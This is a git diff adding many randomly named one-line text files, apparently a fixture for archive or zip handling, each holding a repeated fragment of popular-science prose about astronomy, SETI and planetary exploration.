+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/xvboxlurawyxmrhroadymrp.txt
@@ -0,0 +1 @@
+responsibility for the content of the book is, however, of course mine. I thank the staff at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/zmlyhaeytxowsbhgvjgyrjes.txt b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/zmlyhaeytxowsbhgvjgyrjes.txt
new file mode 100644
index 0000000..4857e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvzmvludrs/folder_zwxbliuyav/folder_uclxogutfd/folder_melckbrmly/zmlyhaeytxowsbhgvjgyrjes.txt
@@ -0,0 +1 @@
+close to the speed of light [(0.01 km/sec 2 ) x (3 x 10 7 sec) = 3 x 10 5 km/sec].
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_aeokqpusywqtlgnnvyu.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_aeokqpusywqtlgnnvyu.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_aeokqpusywqtlgnnvyu.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_cfteldqhjgejrltnmzejfck.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_cfteldqhjgejrltnmzejfck.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_cfteldqhjgejrltnmzejfck.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_dwxyyxznawljakostxjdlf.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_dwxyyxznawljakostxjdlf.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_dwxyyxznawljakostxjdlf.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ghczusgbjxqncqgc.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ghczusgbjxqncqgc.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ghczusgbjxqncqgc.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gjtdefgmmtqedv.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gjtdefgmmtqedv.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gjtdefgmmtqedv.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gpgmhewmryofbtekmvgaapi.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gpgmhewmryofbtekmvgaapi.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_gpgmhewmryofbtekmvgaapi.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lczypyjsoewdhpcekhthr.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lczypyjsoewdhpcekhthr.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lczypyjsoewdhpcekhthr.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ldhrcxdslo.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ldhrcxdslo.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ldhrcxdslo.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lhhomaczcmuho.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lhhomaczcmuho.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_lhhomaczcmuho.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_luuvnbtrsihkdntceuissrw.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_luuvnbtrsihkdntceuissrw.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_luuvnbtrsihkdntceuissrw.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_mvboccskvggfw.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_mvboccskvggfw.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_mvboccskvggfw.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_njmpghgdt.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_njmpghgdt.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_njmpghgdt.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ruimzhfei.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ruimzhfei.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ruimzhfei.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ucxclzmojozp.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ucxclzmojozp.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_ucxclzmojozp.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_wsspbmspfozofqkooogg.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_wsspbmspfozofqkooogg.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_wsspbmspfozofqkooogg.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xbduawkzjfhbeulsqyveejek.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xbduawkzjfhbeulsqyveejek.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xbduawkzjfhbeulsqyveejek.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xlljvpxx.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xlljvpxx.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_xlljvpxx.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/file_yxgaxitrxxyeftkgveotbgkd.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_yxgaxitrxxyeftkgveotbgkd.txt
new file mode 100644
index 0000000..067b3dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/file_yxgaxitrxxyeftkgveotbgkd.txt
@@ -0,0 +1 @@
+city was constructed on a lavish scale, to be the world center of commerce, culture and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_dwolwhtcardarurijkqppuwu.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_dwolwhtcardarurijkqppuwu.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_dwolwhtcardarurijkqppuwu.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_exogjhpxm.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_exogjhpxm.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_exogjhpxm.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fbhysbqetnygwrw.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fbhysbqetnygwrw.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fbhysbqetnygwrw.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ftxnyvadibo.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ftxnyvadibo.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ftxnyvadibo.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fyydjfyngkajfsyyrcgr.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fyydjfyngkajfsyyrcgr.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_fyydjfyngkajfsyyrcgr.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_jxqxepynxpczhc.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_jxqxepynxpczhc.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_jxqxepynxpczhc.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ksvhsmgqduvpmfhu.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ksvhsmgqduvpmfhu.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_ksvhsmgqduvpmfhu.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_kuccqacilghwyingyrwfbqeg.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_kuccqacilghwyingyrwfbqeg.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_kuccqacilghwyingyrwfbqeg.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mjwfkwmtxwpwqgwsa.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mjwfkwmtxwpwqgwsa.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mjwfkwmtxwpwqgwsa.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mstdqoxalxqcyze.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mstdqoxalxqcyze.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_mstdqoxalxqcyze.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_nukkcsfcdcv.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_nukkcsfcdcv.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_nukkcsfcdcv.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_plxahoyptvgxxzfxtlc.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_plxahoyptvgxxzfxtlc.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_plxahoyptvgxxzfxtlc.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_pvqdicszsnivl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_pvqdicszsnivl.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_pvqdicszsnivl.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_qhygxplzhuppu.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_qhygxplzhuppu.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_qhygxplzhuppu.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_rrkodnbl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_rrkodnbl.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_rrkodnbl.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vcelidbzbqsbtlzwsghulyw.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vcelidbzbqsbtlzwsghulyw.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vcelidbzbqsbtlzwsghulyw.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vdaqwgumba.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vdaqwgumba.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_vdaqwgumba.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wmugltzsyxnmafdtaolqk.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wmugltzsyxnmafdtaolqk.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wmugltzsyxnmafdtaolqk.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wtonwilxxslxfedlxlg.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wtonwilxxslxfedlxlg.txt
new file mode 100644
index 0000000..bb144cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/file_wtonwilxxslxfedlxlg.txt
@@ -0,0 +1 @@
+signals of intelligent origin. But the frequency band is being increasingly encroached upon by civilian and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dghlnziluupgcex.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dghlnziluupgcex.txt
new file mode 100644
index 0000000..56b1d52
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dghlnziluupgcex.txt
@@ -0,0 +1 @@
+nature or environments of the planets. Among the figures in the finely rendered first edition
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dgqnbznhrjrl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dgqnbznhrjrl.txt
new file mode 100644
index 0000000..5880f9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/dgqnbznhrjrl.txt
@@ -0,0 +1 @@
+sexual activity. If youngsters had their way, societies might develop in which adults have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/esmvruxqkyrpktymfg.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/esmvruxqkyrpktymfg.txt
new file mode 100644
index 0000000..7e6d0c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/esmvruxqkyrpktymfg.txt
@@ -0,0 +1 @@
+astronauts emplaced in several locales on the Moon special mirrors called laser retro-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_erwioisoulobqwsxinpdrl.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_erwioisoulobqwsxinpdrl.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_erwioisoulobqwsxinpdrl.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_hwchfvdoybnc.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_hwchfvdoybnc.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_hwchfvdoybnc.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_iqaikwsefz.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_iqaikwsefz.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_iqaikwsefz.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_nmabjoaesgyrejkaiwph.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_nmabjoaesgyrejkaiwph.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_nmabjoaesgyrejkaiwph.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rnabqciehywlkuq.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rnabqciehywlkuq.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rnabqciehywlkuq.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rtepwmzqxq.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rtepwmzqxq.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_rtepwmzqxq.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_sjaflhoszwpfzti.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_sjaflhoszwpfzti.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_sjaflhoszwpfzti.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_snipfywwzqxydevrxblzt.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_snipfywwzqxydevrxblzt.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_snipfywwzqxydevrxblzt.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_wwrzacbtpxa.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_wwrzacbtpxa.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_wwrzacbtpxa.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_xumscsbyaalcxypkvtg.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_xumscsbyaalcxypkvtg.txt
new file mode 100644
index 0000000..4752e1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/file_xumscsbyaalcxypkvtg.txt
@@ -0,0 +1 @@
+The first illustration I ever saw of Mars 3 was on a Soviet postage stamp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/hvhmwgykooiajeego.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/hvhmwgykooiajeego.txt
new file mode 100644
index 0000000..897f70a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/hvhmwgykooiajeego.txt
@@ -0,0 +1 @@
+The unstructured blobs of irregular galaxies, the arms of spiral galaxies and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/jjkivlaokyxdlzt.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/jjkivlaokyxdlzt.txt
new file mode 100644
index 0000000..afc6970
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/jjkivlaokyxdlzt.txt
@@ -0,0 +1 @@
+worldwide audience of 140 million people, or 3 percent of the human population of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/lpysoomtxbhinj.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/lpysoomtxbhinj.txt
new file mode 100644
index 0000000..6dad0e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/lpysoomtxbhinj.txt
@@ -0,0 +1 @@
+with matter and in the appropriate circumstances might be detected. Neutrinos can on rare
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/nwbyyvzamkztvpfcqqjdsbe.txt b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/nwbyyvzamkztvpfcqqjdsbe.txt
new file mode 100644
index 0000000..f074527
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dmjlvgcwtc/folder_bfxsgnwyyu/folder_mqmejpdqnt/nwbyyvzamkztvpfcqqjdsbe.txt
@@ -0,0 +1 @@
